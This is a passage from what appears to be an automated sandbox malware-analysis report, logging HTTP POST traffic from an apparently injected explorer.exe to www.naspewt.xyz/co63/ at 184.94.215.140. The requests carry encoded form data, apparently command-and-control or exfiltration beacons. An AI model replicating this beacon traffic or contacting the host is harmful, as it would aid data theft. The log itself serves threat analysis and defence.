58 61 72 65 65 54 62 51 77 4f 45 45 61 44 56 52 38 34 71 58 37 72 70 33 37 31 6e 6a 42 36 34 4a 61 4d 72 4c 6a 6e 4b 4c 75 49 63 34 61 28 6c 4a 47 58 6c 52 70 4e 48 78 4b 65 37 6b 47 68 31 63 41 33 6a 72 50 57 33 54 50 33 57 39 63 64 48 4a 5f 75 73 68 67 58 46 64 47 4f 67 6f 71 59 78 6c 67 57 77 6a 42 51 66 5a 4c 6a 4e 58 33 6e 51 6e 41 66 79 59 70 35 77 74 51 28 38 32 6f 75 55 79 73 44 53 42 64 7e 30 6d 50 52 54 32 79 30 54 4b 6d 34 78 7a 43 6b 76 70 46 6d 5f 6d 34 61 70 37 57 64 61 51 39 35 4c 38 4f 76 32 7e 70 64 6a 4e 43 62 48 39 75 63 30 48 58 35 4e 44 56 31 76 38 30 64 5f 53 63 6b 78 73 7a 5a 6a 45 55 64 6c 43 7a 52 78 50 74 28 32 77 51 6c 31 45 6a 49 6d 64 34 46 71 56 5f 63 68 48 4f 65 6e 35 6c 61 30 77 49 35 64 31 6c 39 59 38 2d 5a 4f 4d 6f 32 51 37 76 67 35 75 64 4f 6b 52 32 39 4f 44 6c 63 49 50 71 44 69 57 45 50 76 31 75 44 42 7a 4a 6d 41 66 70 68 6e 6c 6a 37 52 55 47 30 48 4c 33 57 71 6f 61 72 47 68 45 30 35 32 6a 37 6a 7e 4b 43 7a 44 33 36 38 34 62 74 50 6e 39 63 38 45 6d 4a 4a 30 4e 61 6a 45 33 45 64 75 35 41 4a 49 59 6b 54 41 62 66 61 66 67 75 59 54 73 6a 55 68 33 74 45 30 38 31 6e 65 50 6e 56 77 70 36 38 51 74 47 51 51 61 4d 75 43 48 66 5f 4e 2d 5a 43 39 4b 28 51 44 39 58 44 30 58 54 5a 38 64 45 37 4f 59 66 70 46 32 4a 45 63 74 49 5f 77 70 65 6a 48 30 6d 6c 30 32 53 43 5a 61 77 30 30 6d 74 38 4a 4e 4a 6b 6e 56 50 4d 48 5f 6f 72 58 31 36 6e 48 48 64 46 59 6a 28 78 74 4a 4c 34 6c 68 76 7a 44 49 6d 69 42 4e 63 55 75 35 31 74 64 63 7a 68 30 64 39 6b 45 67 6c 72 76 5f 52 73 4f 30 4c 5f 68 52 37 6d 59 41 66 72 48 63 65 69 4e 4b 68 31 75 45 6e 58 74 31 34 67 31 4f 4f 65 33 5a 50 38 78 4f 53 48 66 50 5a 51 Data Ascii: aJElwV=KfqjeJTgtBo6lBqVoM~Ge5JhoPO9j1DwSRpgw_mm(b6Ms5knqTXFr5QFqcJ54AUjGzdMxSk4ULpXPDnU~2gal8XVvYge9dX7rTpH8TkC3QHZIcWn3CB8H_PJWo5yqRm8MlPLzypAUb6WXFizmKg15l0lSdEobKhULQBsfSyGhQ3PZzD-i3UFdFfSwbqiYZo82rXqFHg_vWKMddHpW-x9TumxzoFRoyVplLVQcOuXhktIU5(mGy3zEGO5eDCOZoD1n7lvnbtZzhSWwUEB55p2DUsSPd(VeCW1Ced9EdIqt3AZi3qy1F9ekOfwf-LTXJPDy838dah7aiGwr_DjOsVtSKzCiujsRRlZv89T7vaek7X0~zm_REFGMMXoKTqi3f0klgUTF86apihN41(aXR9PUSqwsEdPUcZAqUkmebYIwUKzFaUI5mB76zFdFWbdfY5hvKwqthq27lY19RGxYMtXYsde5HNHegjvBZsxBUfKtLrjSE1U5fgL16z_JCFDpYulDv3gcTjIB2H1RqpYkCpHCkUp53LsIm4VQiZr8oERK_pL39WLS6jl5IvyEjpEfyWVsRj3AZU-ZBY80dKK3QOm4DlH7AufrLrquFcx1JzKTy(5QCF1AfLJ2PlWwSAZ51bK~NDLhv8dzMVxoa0t42V4RXcw6Bs0P4Bi6PSZCr3wHkH0XutOFyKcPZ1BvZULgRWkYA5kqEqmqTD8tunXJDbiYK7EgHy11zoFImdMJBZ_KbX2nkN6IxSJc1QTYpUjcXG5yNQSpZrIe6zdaZ6o5axTPlBuBjN65ENtbfLynHuiIXareeTbQwOEEaDVR84qX7rp371njB64JaMrLjnKLuIc4a(lJGXlRpNHxKe7kGh1cA3jrPW3TP3W9cdHJ_ushgXFdGOgoqYxlgWwjBQfZLjNX3nQnAfyYp5wtQ(82ouUysDSBd~0mPRT2y0TKm4xzCkvpFm_m4ap7WdaQ95L8Ov2~pdjNCbH9uc0HX5NDV1v80d_SckxszZjEUdlCzRxPt(2wQl1EjImd4FqV_chHOen5la0wI5d1l9Y8-ZOMo2Q7vg5udOkR29ODlcIPqDiWEPv1uDBzJmAfphnlj7RUG0HL3WqoarGhE052j7j~KCzD3684btPn9c8EmJJ0NajE3Edu5AJIYkTAbfafguYTsjUh3tE081nePnVwp68QtGQQaMuCHf_N-ZC9K(QD9XD0XTZ8dE7OYfpF2JEctI_wpejH0ml02SCZaw00mt8JNJknVPMH_orX16nHHdFYj(xtJL4lhvzDImiBNcUu51tdczh0d9kEglrv_RsO0L_hR7mYAfrHceiNKh1uEnXt14g1OOe3ZP8xOSHfPZQ5xl7BZgfl7BG6CQAIa9LfD7PDS~AhE~pdaMnpndvm3g1x76q9NCIubFFKz2rY_oTROEXzzsr5OjqMHaXlCiEEa16uaPjBhpKLkTSRcLbZFT4yVOh(EyvRbi4ZrvmFiLHUrq1ZZ1r2mcKu_r1qtNigIclcwCKgW6vXvBfBpIxtAS-TvS0Ow~WwS7lmjpH62z9H1OAq6Eyfgdf3uB2d6t3p5zzYwzxfXH8Bj5tBy3yCVsCL09iaTZkiEID54n-kIsuLHdoa90Rmpp0sxfEHirHxuS40rzf~nPzGzVR~GtkQqQNUGVTv9Xyi-~rs2TD4QOwL0uDuHgHWIITDE7TQtJd~wB12izg5R1vvgAzBB3aRbJ2pc~7AWbVlFZVBHuGJGw5L9RatxveWlbQixSgBNxvkDLa29wt5AfPyJ4IaI6lIYA7i-Y2h253WIQOGlFIfSV6deS4OZovirN61eYijx7BG3(Olp03W-VKBzDaiMMMIN~KqHcB4XcfUZig5Bn6KP0Qmp0IEZBa~YsTNOqJJ_9nFVzt~GWoiTIuuO9pOAMhvCClkgvfL2hMUib0M2ttsWJRkfYDtMklitpiHkMDmfvo8vrkfKmI6hYvVHex3QIBv8oEzFmim4bVIEP9NPLiZkvqzzEKQxaqcDugF7SqL-gEV3RXSleneaZkM1QGhrfezI4i0-IdjYM_ee4f50AVtaxhBJwSNmEeYZ9hl2Se4KjOcF48gm7qPfZrz4SbHgM15h3iK8QBLYtkSLMxBKt0C9ujYtWNOrxhDuB5fMtF1CAZIg~g110mcpSsGfEG(UEgFfPZAxaWRMSKpk0fnQuG1EtnaoMIwPGTkvzYix8h(HAnHEcq6Ne8GvxnhCUpLWcJ2NY0STEck5gL86Jym6FQvWsID-xYIxk1mjyExQSM7nb3fWwj9pYGCIILqYxr~eVkKgdjmH0ynHYFnCIo0CBKWADj1NWO226RPF1E8gaJeJVJVt(VvTGUpHXeEbwlmXAJVSCH1QDhD8aLm7cGBrv3YBToiWxdC2278JblMKBS0QWuzBZhd2ILRNkytEPamXWauoWaf43i9fiEiZ6wXe85PPCIc2xJQ88JM9ESAOboBYDQ8SWVdwu5mswLYTEb3e7SWobjgdm1GWGIEqyC69D-4zImDMNO8vU27vhm8bR0QCdU2d(TFlnKOpyx2I1eK_i_fpM2WDjBk1oeEkfS1KtUSvLP2y1CgIXlJDZJ7kjUjngC5qiwkLQAwvp4DZUh9mP67nUiyBwZH5KJMg3cJ99Q0bOhrCli3fqQdIeOeXpyvp1TixS1W7(gDigd6AzA5X2AoKOt59ihe8tKaTScULvLIbjyFLsc8ge-eSCILDCrnHDCl-FfR-pV5odfGb0bKtSWbqeszc~L2Nd1C0kjJMJKOvvjXS8l4YwpBHYIYH1CVc8Q9eu1oL(-IOS1CQPKXuP65-mmGV7ahvp0vnFor64AnMTAVZkKmzaPehW5lRiXEjW95VhGH2RGy2FaS6zDRYTINOMG1mT8ON3RQcvf9cch5X6wIpKjcm~nfvFO4adfGo0jKv9353yP6eVjh187fi2xAX2NoQi9eNKKy2ZATME1e8snfJlXmo2n8dr0Vg~3HtJWIiUqLVLLImS8eguaaE7w4D42LTbP5dAMs47i30BKLuGt8Hn_wsFeXQ1dZ20B2FUG6vY7SA9BCed-jh0bAs1Z0wePjitz1UUk9w7ItYBzeRpwzvJJnP4VNl3Q5o0NlBcBxvTK3LCOHPmNp_b2wNJZZRr-JIoATLsWMt5T6IbqUGw47WMAlUObJNPDxOCQU4xu~9eh4_ndId2V~02EXKoJ9e2DWJS6PKJKUuCPGWIYp-Ny6sXnmoCzlVDEqcQ86g4E8Ehxz00a33(LA-ML5opfLMs9Jci5NI1QrXXt(cJN1BdO(-Uf4uHq(fcE1bZsLkoiB0LtdvNUnK9u~ZYfPAzN2cIIT2SLPYpVIqWmiMT4lAfQs7fyfY4OmLcYYKG3WQDij2fpoiUXEa5O8cFrjP1CdjFzXDfFwgLhOFzPe7XcSTOT6XyjmxqXO-fI4h6PeJdz2mkUI5~WzZ9FcpsyEuo1U38uiaGgWAovunzuDbXfeJVzbIQ11KYYQujgzQZN3DrWgwlOe3GjPJQ2~cX3ayybMtYHbAh0oifs99BfkjW9m7a_SynHMXE5MEc8jCyAQjxTPl25~rjw~SpSS7Bblf5GdaTzcB9o(PzBJ1iw6rpiQSJV0Tpd3FJEXhKxGVbXQS3m~Hs3R54-h6unNyUn0zB0hH581UegHjZmUGULddfuK21CIcIQJiLHwFrLFslyefUMd316lTGG5OwvQkmbUjFVDU34GrLMREIWcdBV4jNd7geDqcAIgRirScXPOTVtJFO8GQr8ttTsfA4OfwWXd1~oJTyJQP0tlwyX7qF-CIXpDSQ7mJAAqINhRa7o5O8EbFafqLGu(-zQkXdgfbtgWS3ED0amABHxOvIIwGgkUAYqcaBYtzuHXHCObOUSmkw44wnHBCUYiLQ3edhgLasaC5thEv(UBrUU6QUhrp2xDirIpfL6zbFStGGZBefCGVFF7MlRnvW7m9i2d6Yfr4qZwP2H1eAvZXsfpX~mxdcdybK1sy4l762OoVuC(RVzAfcSlJBPjsRuhvCPaA2DPlafkbfc~UO_c0gv45AufimIfTUTKKVq~ct19RXjqZqeeoE0V4LzUdLF1Utj(2X1V8B
Jul 20, 2023 11:46:17.414594889 CEST	711	OUT	Data Raw: 76 43 4d 6f 62 6a 4b 6b 41 4a 77 35 7e 5f 6c 31 32 49 43 51 50 42 54 58 45 32 4d 43 32 49 66 53 79 51 32 4c 62 62 62 79 48 47 6f 32 50 49 4b 2d 7e 53 59 5f 38 77 31 59 33 70 58 69 44 37 72 53 42 6b 41 70 79 63 37 74 59 68 75 79 6b 41 6c 63 65 56 Data Ascii: vCMobjKkAJw5~_l12ICQPBTXE2MC2IfSyQ2LbbbyHGo2PIK-~SY_8w1Y3pXiD7rSBkApyc7tYhuykAlceVDns7TWXh88myqFQ5o0bdYPgaZXHqkkRXIK8d~se3cJN1FHSMQuu-03imQgcoV9332retbbzp9EhOfq44mlo3w5luuyzQSjLgB3gPADeefkc4BT7JqXNL81ljVYZjrqv2Un5h(vljV3bSPh7yklSxDVAafeCqS19MJ
Jul 20, 2023 11:46:17.414594889 CEST	716	OUT	Data Raw: 69 52 79 62 71 78 73 47 63 63 41 76 6d 41 34 44 71 69 7e 46 5a 52 69 32 6f 77 32 66 67 6d 32 6f 71 6c 6a 73 79 78 30 65 46 59 67 64 77 61 45 4f 32 64 42 69 68 63 28 43 54 67 70 33 6a 6f 43 6c 66 77 48 6b 6a 33 5a 63 62 76 52 2d 4a 4b 65 57 4b 38 Data Ascii: iRybqxsGccAvmA4Dqi~FZRi2ow2fgm2oqljsyx0eFYgdwaEO2dBihc(CTgp3joClfwHkj3ZcbvR-JKeWK8QDxz4Y60vxJ4nFl0MZqeDEC-h7y7PavMZTXcTEMhtlLvbfY8rLjPMuK68gIyy5(oOEsMmXgOQV2jxR8UM0yKJMCH3xp9vomIXoAxCr2J58KztZokHLEVJgaMQ6WKnp~YwIkVKOUvvmolxTZ-O7rr6LHup6E75Giqy
Jul 20, 2023 11:46:17.414740086 CEST	726	OUT	Data Raw: 7a 68 5a 33 4e 77 74 6b 35 33 62 79 64 7a 45 4c 59 47 36 77 34 73 71 4a 39 39 31 79 31 43 73 59 4a 6a 64 6f 62 73 4d 6d 58 38 51 5f 55 34 66 71 53 7a 4d 77 72 34 54 74 4a 57 75 56 63 58 7a 4f 6a 72 41 54 6d 6c 68 57 53 47 71 41 67 36 30 39 39 72 Data Ascii: zhZ3Nwtk53bydzELYG6w4sqJ991y1CsYJjdobsMmX8Q_U4fqSzMwr4TtJWuVcXzOjrATmlhWSGqAg6099rWdio7KjdiO(Os7Pf2Cb0cHM1RQMotO(9(CEwoSR1SQSkecwuicBvEh0V~bSMyrzSsHTqPq4VWYF0Oe(X2-umKXhSC55TvB5AXOEp1CAImHW1p8BBVFtOj1wR0iKfwzDFFteR7rbCGzuwTD1WEIXcmZsOny7Uj726S
Jul 20, 2023 11:46:17.414844036 CEST	731	OUT	Data Raw: 75 76 57 5f 75 73 4c 64 28 4b 44 65 28 53 7a 5f 69 75 77 61 43 68 65 78 4e 6a 63 48 73 7a 71 50 45 4d 51 34 74 32 4e 37 6f 72 75 32 65 44 50 31 54 67 69 6f 28 7a 44 44 47 7a 54 4b 4b 5a 78 48 61 62 6a 78 62 77 6a 34 77 48 37 63 28 56 53 59 6e 77 Data Ascii: uvW_usLd(KDe(Sz_iuwaChexNjcHszqPEMQ4t2N7oru2eDP1Tgio(zDDGzTKKZxHabjxbwj4wH7c(VSYnw2r~MRlH5pLj0yvUbHYjg53SOn3o_A9~XjtFOXIUr5iDehq2V64fuEPApPzz6N1cHR5cLc0HL6V0s50hyjHskAviNf269IBM0FaPOaioyHaLbLMINFk5klXUOsgGtK_RVTfDruyrT1_POkVG3IyXfsfb9b-JXlat0Y
Jul 20, 2023 11:46:17.438082933 CEST	735	OUT	Data Raw: 31 74 79 39 78 50 6a 79 66 4b 54 4c 41 36 34 6f 73 68 66 49 79 65 44 4a 4a 31 61 78 54 55 74 6a 68 58 72 4e 55 6b 74 46 46 78 63 4f 6d 45 49 69 66 46 45 55 66 52 74 62 4c 6b 44 5a 68 78 71 64 73 35 6f 72 34 62 4c 4a 66 6e 4e 51 73 34 68 41 42 6d Data Ascii: 1ty9xPjyfKTLA64oshfIyeDJJ1axTUtjhXrNUktFFxcOmEIifFEUfRtbLkDZhxqds5or4bLJfnNQs4hABmNxgPYPOefwgAiM47k8UolF5UjO0uZ1iFxEW2maLdMlMJwtTnNiu7i9hD8n1ql13jJ34EE7X0aVqO7iFQwJNQG7Y5yPB_3V4AAFcVqkDLMO1gyqyXB_k3UkH96Q2H9y13y1Z3daE7fbBMgHk_LxBq(7whlFZt1kntU
Jul 20, 2023 11:46:17.438174963 CEST	745	OUT	Data Raw: 4c 57 4c 57 65 75 72 6e 70 51 32 72 47 53 46 56 4f 65 59 43 52 47 6e 7a 38 33 53 4a 75 5f 63 39 71 43 6e 58 55 61 52 75 43 59 33 62 74 38 31 4c 46 67 37 42 4f 49 76 62 73 31 43 49 51 67 57 4c 65 42 52 49 6c 33 4f 33 6c 58 44 55 33 63 36 42 5a 54 Data Ascii: LWLWeurnpQ2rGSFVOeYCRGnz83SJu_c9qCnXUaRuCY3bt81LFg7BOIvbs1CIQgWLeBRIl3O3lXDU3c6BZTnmr4xAQER1U-Fx61cV8W0wZmSHut2eqq5Mcm3Da5jzuPd7iEyRSbMei0g6J30gnv~OTOZcvmf08vq0CKsOFWzSKk98B6qs7GCb0BD0QkjnC7Da4gcXYuCHoTvJpntkaemfKp03s44IT_jPjK1vDt6AJo2FFo1X2rE
Jul 20, 2023 11:46:17.438226938 CEST	753	OUT	Data Raw: 4a 79 6e 4a 7a 76 74 49 74 41 35 39 52 4c 41 66 69 7a 56 39 59 72 6b 52 6b 6c 6e 6f 6d 6a 61 37 28 59 4b 65 78 7a 6c 6e 53 63 65 6d 71 76 63 51 53 73 36 70 48 73 4b 4c 65 4a 77 5a 28 62 73 4c 77 72 51 4e 6f 4f 7e 52 66 59 69 39 36 66 46 4e 67 51 Data Ascii: JynJzvtItA59RLAfizV9YrkRklnomja7(YKexzlnScemqvcQSs6pHsKLeJwZ(bsLwrQNoO~RfYi96fFNgQJrh3r5agkZazZjqHUchmwihoi3(bjMaSNUlBkdfKNqCWEWUAES(wKCvbEY3w41HN6gGxn5eg102Srcp8(oKtJQ3ZUQKNnYcjtMEHFTFy4qvJcpsWTWe1siqfa5Q83VtfS9wvf99u2XRnVNST82IOiuP15QDAnhP4i
Jul 20, 2023 11:46:17.438226938 CEST	755	OUT	Data Raw: 34 34 67 4a 59 46 61 69 7a 57 4d 55 31 6c 79 52 38 62 78 63 6d 45 36 71 41 35 32 6d 4f 6c 53 6d 62 4a 4b 71 75 37 31 6a 47 4e 59 52 4c 2d 4a 49 5a 41 6f 61 77 31 33 76 33 69 78 79 35 57 70 78 72 52 6e 78 41 4b 35 56 6f 56 4b 32 34 70 4e 45 4e 70 Data Ascii: 44gJYFaizWMU1lyR8bxcmE6qA52mOlSmbJKqu71jGNYRL-JIZAoaw13v3ixy5WpxrRnxAK5VoVK24pNENp3xemgLUlGhqBRWA9qz1TM4AK9LTI9zleSQoxavAZQC7IXybFV3EDHVSAvv31j3paD1s4OcADz7DuYIOQwOfODikCTBIrKf4BcedBhX7_8CGn0tuqmwbuMry2XyAoblACzkyrsqG3pmBZnyQn~evHh1Idx2yEdTkzm
Jul 20, 2023 11:46:17.438263893 CEST	760	OUT	Data Raw: 39 47 51 4a 49 47 77 38 50 54 51 64 48 30 6e 6a 67 42 7a 39 45 5f 64 5f 52 6e 47 30 4c 41 65 75 6c 6f 56 44 4d 6e 4b 61 48 6e 65 52 49 55 36 62 63 44 4f 64 43 6b 46 69 35 47 6c 54 31 72 70 61 43 68 45 38 62 63 78 56 7a 71 6f 4e 66 64 53 42 32 42 Data Ascii: 9GQJIGw8PTQdH0njgBz9E_d_RnG0LAeuloVDMnKaHneRIU6bcDOdCkFi5GlT1rpaChE8bcxVzqoNfdSB2BAy4cmmLf~t8e2jgWf1H54A54RutV0h~JaZ86zJpuyc45~TaxAvZAz56mRvzjEcSCaVqeXNDLE65tBmwyimv-KnjxBgMjNmkhFxh6SdLmJ4WFWCz6TZeE2ElIeBfkzcU2I0jD4Xf1UjSDahAhuu82KWAfkIxcAqauD
Jul 20, 2023 11:46:17.438699007 CEST	763	OUT	Data Raw: 46 66 77 62 56 67 7e 66 76 46 57 31 6f 72 62 47 46 6e 51 53 4d 6a 72 61 45 43 68 6e 32 58 76 49 31 4e 48 6c 32 39 50 77 36 6d 6d 71 28 6f 76 65 4f 4f 74 56 38 52 34 39 49 71 67 5f 33 34 58 78 59 74 42 64 75 58 69 46 46 35 70 44 36 71 74 68 33 48 Data Ascii: FfwbVg~fvFW1orbGFnQSMjraEChn2XvI1NHl29Pw6mmq(oveOOtV8R49Iqg_34XxYtBduXiFF5pD6qth3H4oksOwlSJTFr88~Wuw1h9CbdF_Ccd5NvYsaDPeJOC4dG5lzSOzpATlLDpxiJlI9Uy9L2~fynvDtofb~jZIWgSj2e8wAjIaS165W-BPr9YxF0kJJeY1fgATuiVoPUhpZSI0AP935b00ajuaMeLLSLLH3WCfuJIfkb3
Jul 20, 2023 11:46:17.509630919 CEST	850	IN	HTTP/1.1 403 Forbidden Content-Length: 146 Content-Type: text/html X-Wix-Request-Id: 1689846377.47140507045121470 X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Accept-Ranges: bytes Date: Thu, 20 Jul 2023 09:46:17 GMT X-Served-By: cache-mxp6957-MXP X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,GXNXSWFXisshliUcwO20NYMupe6WQf6MVMrzEUOojIJqzH7v57uBf+JE84tfrPJH,qquldgcFrj2n046g4RNSVLeuNqwcdH46iMA2Je1RdMI= Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49729	184.94.215.140	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:39.806387901 CEST	852	OUT	POST /co63/ HTTP/1.1 Host: www.naspewt.xyz Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.naspewt.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.naspewt.xyz/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 7a 58 4b 4e 7e 6e 75 73 57 6c 52 6c 76 68 31 65 76 41 61 62 57 61 77 4f 39 63 33 46 4d 46 64 35 4a 71 77 33 6c 6d 74 5a 33 79 41 30 45 6c 42 72 47 34 4c 39 54 4c 32 36 37 54 32 35 4f 73 69 66 6f 76 6f 45 65 52 62 73 46 36 75 61 37 53 4e 33 4b 38 59 53 32 69 6a 62 58 57 6a 47 5a 35 41 65 35 46 57 65 64 31 4a 68 36 38 36 64 59 43 79 79 33 6b 45 2d 70 58 46 37 68 63 76 35 71 49 4b 52 44 71 4e 6c 54 35 74 4d 63 68 55 39 62 76 78 30 52 38 44 34 7e 67 36 6c 59 4c 76 38 79 69 62 31 76 4f 73 66 44 6b 71 71 7e 70 56 41 41 43 7a 36 43 69 67 43 6a 48 63 74 38 4d 32 38 31 56 74 31 65 4a 7e 44 4d 55 4b 77 72 65 5a 56 51 74 6d 61 67 58 4f 62 4a 42 6d 4b 51 66 4e 4b 77 6c 74 56 36 51 66 37 4a 47 5a 45 6a 64 62 36 68 6a 63 53 70 58 4f 5f 79 63 6d 37 59 66 46 75 67 69 45 4b 68 6c 38 43 4d 75 63 62 57 6a 44 61 62 47 6f 53 44 59 4c 78 52 32 53 67 33 42 74 58 58 47 49 74 5a 31 69 54 71 39 4b 63 4f 49 4d 35 73 71 44 66 5a 34 6a 6f 73 61 6d 61 28 6e 4c 75 51 73 77 67 53 53 30 6a 6e 30 59 4d 35 4e 65 4a 30 49 4d 6e 28 4c 32 77 57 74 72 57 32 46 77 74 45 78 6b 4a 5a 4e 53 5a 58 4e 58 73 34 67 73 67 45 57 6b 39 63 6a 53 78 33 4a 4b 49 76 67 4d 47 72 37 71 2d 74 37 32 49 53 2d 43 4c 4d 5f 69 6b 73 57 4f 58 33 4a 53 4a 54 46 7e 78 37 74 37 64 47 74 72 61 4f 61 28 50 5a 6f 36 53 64 50 44 38 4d 53 6d 50 6a 4e 49 46 7a 31 59 35 35 41 31 4e 49 4c 39 4f 72 2d 32 38 58 35 43 49 4f 33 72 5f 50 78 57 48 56 4a 39 6e 74 73 6b 44 46 6d 4e 5a 49 67 69 77 49 4d 6c 69 77 6a 57 61 36 2d 31 35 4b 79 33 52 49 33 59 49 78 36 4f 30 6e 45 30 77 62 45 28 54 4c 38 57 72 5a 67 63 69 4c 74 47 31 6b 57 4b 35 75 78 41 51 6b 37 70 5f 33 50 63 65 6b 43 69 7a 44 53 51 4f 69 66 78 71 7a 57 7e 30 4e 73 6c 50 41 58 6d 73 59 54 74 6f 46 35 43 5f 44 6d 64 71 70 62 58 30 73 46 41 38 67 4f 32 67 43 6a 73 58 35 37 6a 59 36 45 57 36 48 78 56 35 31 34 48 68 65 47 34 6f 46 73 65 68 37 34 30 50 55 4f 34 44 51 37 6c 2d 66 49 74 4d 70 53 65 48 71 4b 6d 63 46 7a 55 4b 30 48 79 46 66 43 6f 51 61 6b 35 49 62 57 44 4a 6b 6b 6a 4e 4d 37 49 49 66 31 65 69 35 6b 64 4b 30 57 6e 7a 54 6d 45 43 78 39 5a 5f 77 78 34 6d 4b 78 38 54 31 66 4c 36 63 78 59 53 4b 77 58 64 62 4d 55 50 76 63 47 53 78 32 6f 53 6c 78 47 46 4d 65 42 75 7e 51 75 72 6e 6d 57 66 61 68 55 43 4f 4b 54 6a 63 43 5a 54 4d 37 48 72 42 6d 54 77 57 6d 46 4a 65 6a 45 33 37 5f 73 70 39 6b 55 44 50 30 53 35 4e 57 52 30 30 71 42 69 68 59 7a 31 35 4a 79 31 4c 48 77 33 6d 4e 53 61 4a 77 39 79 54 6a 35 6d 4f 33 35 70 5a 38 67 49 67 4a 66 6c 43 52 73 75 57 73 79 61 42 78 66 51 4e 54 68 68 7e 6f 6c 62 5a 54 4e 49 46 6a 36 4b 66 76 6d 46 48 76 46 66 71 49 58 42 74 70 44 68 28 7a 6c 53 71 54 37 46 6b 63 37 4c 75 54 4e 4f 73 66 34 68 72 4e 4d 7a 48 67 7a 66 74 50 48 33 53 6a 66 6f 73 34 35 4d 71 54 5a 72 45 49 45 42 50 39 54 4d 39 55 68 67 57 50 70 51 6c 71 63 6e 52 47 68 79 49 38 50 4a 44 30 65 71 74 4b 67 50 66 68 31 53 58 66 6a 48 79 44 64 51 4c 79 48 4c 4a 6d 5a 31 55 75 5a 65 70 6b 4d 52 38 52 6f 64 79 62 59 43 38 57 76 6e 66 54 61 56 33 62 6c 72 75 47 7a 54 43 61 69 75 41 66 36 41 61 52 74 36 55 6a 54 32 4e 7a 6b 53 65 75 30 31 57 72 47 6d 57 30 7e 52 41 75 65 66 49 37 76 69 35 51 54 30 66 33 72 41 55 73 63 72 4a 5a 4c 44 55 55 61 68 72 4a 7a 68 45 47 4f 4b 72 57 68 4b 32 32 34 33 65 44 72 50 46 62 6b 46 6e 45 78 61 43 58 79 36 59 32 6e 33 6e 44 34 49 47 42 62 41 67 57 57 55 53 6f 34 68 76 51 64 55 53 79 38 71 33 6b 71 47 6e 6e 63 4f 4d 6a 51 67 49 74 63 37 55 75 39 52 51 76 6b 43 47 6b 4f 48 53 33 70 4a 73 65 54 4e 37 2d 28 6c 4a 63 37 59 67 58 44 68 52 54 48 37 39 36 79 7a 79 77 73 61 4f 43 42 4d 56 55 52 75 33 46 4f 6a 56 36 44 37 71 6c 66 5f 46 76 4a 53 4a 51 59 65 6c 64 48 6b 78 43 38 31 58 4d 4a 7a 46 68 45 53 4f 65 34 6b 48 59 75 36 6b 5f 72 65 47 4f 61 57 77 73 44 39 45 42 69 50 55 56 6e 42 4a 65 4b 44 62 4d 37 62 63 2d 67 2d 38 7a 6b 58 4c 70 4d 53 73 59 31 43 4d 45 78 4d 33 43 45 5f 30 79 38 71 49 45 4d 4d 37 65 6b 51 72 43 37 39 7a 79 4a 2d 7e 6b 53 33 37 51 6e 53 4e 55 34 64 5a 45 37 39 73 47 49 36 6a 65 47 30 70 33 4a 6b 6a 62 56 37 6f 69 6d 5a 69 74 59 53 66 6d 48 30 4b 5a 72 41 37 37 35 41 32 36 70 2d Data Ascii: aJElwV=zXKN~nusWlRlvh1evAabWawO9c3FMFd5Jqw3lmtZ3yA0ElBrG4L9TL267T25OsifovoEeRbsF6ua7SN3K8YS2ijbXWjGZ5Ae5FWed1Jh686dYCyy3kE-pXF7hcv5qIKRDqNlT5tMchU9bvx0R8D4~g6lYLv8yib1vOsfDkqq~pVAACz6CigCjHct8M281Vt1eJ~DMUKwreZVQtmagXObJBmKQfNKwltV6Qf7JGZEjdb6hjcSpXO_ycm7YfFugiEKhl8CMucbWjDabGoSDYLxR2Sg3BtXXGItZ1iTq9KcOIM5sqDfZ4josama(nLuQswgSS0jn0YM5NeJ0IMn(L2wWtrW2FwtExkJZNSZXNXs4gsgEWk9cjSx3JKIvgMGr7q-t72IS-CLM_iksWOX3JSJTF~x7t7dGtraOa(PZo6SdPD8MSmPjNIFz1Y55A1NIL9Or-28X5CIO3r_PxWHVJ9ntskDFmNZIgiwIMliwjWa6-15Ky3RI3YIx6O0nE0wbE(TL8WrZgciLtG1kWK5uxAQk7p_3PcekCizDSQOifxqzW~0NslPAXmsYTtoF5C_DmdqpbX0sFA8gO2gCjsX57jY6EW6HxV514HheG4oFseh740PUO4DQ7l-fItMpSeHqKmcFzUK0HyFfCoQak5IbWDJkkjNM7IIf1ei5kdK0WnzTmECx9Z_wx4mKx8T1fL6cxYSKwXdbMUPvcGSx2oSlxGFMeBu~QurnmWfahUCOKTjcCZTM7HrBmTwWmFJejE37_sp9kUDP0S5NWR00qBihYz15Jy1LHw3mNSaJw9yTj5mO35pZ8gIgJflCRsuWsyaBxfQNThh~olbZTNIFj6KfvmFHvFfqIXBtpDh(zlSqT7Fkc7LuTNOsf4hrNMzHgzftPH3Sjfos45MqTZrEIEBP9TM9UhgWPpQlqcnRGhyI8PJD0eqtKgPfh1SXfjHyDdQLyHLJmZ1UuZepkMR8RodybYC8WvnfTaV3blruGzTCaiuAf6AaRt6UjT2NzkSeu01WrGmW0~RAuefI7vi5QT0f3rAUscrJZLDUUahrJzhEGOKrWhK2243eDrPFbkFnExaCXy6Y2n3nD4IGBbAgWWUSo4hvQdUSy8q3kqGnncOMjQgItc7Uu9RQvkCGkOHS3pJseTN7-(lJc7YgXDhRTH796yzywsaOCBMVURu3FOjV6D7qlf_FvJSJQYe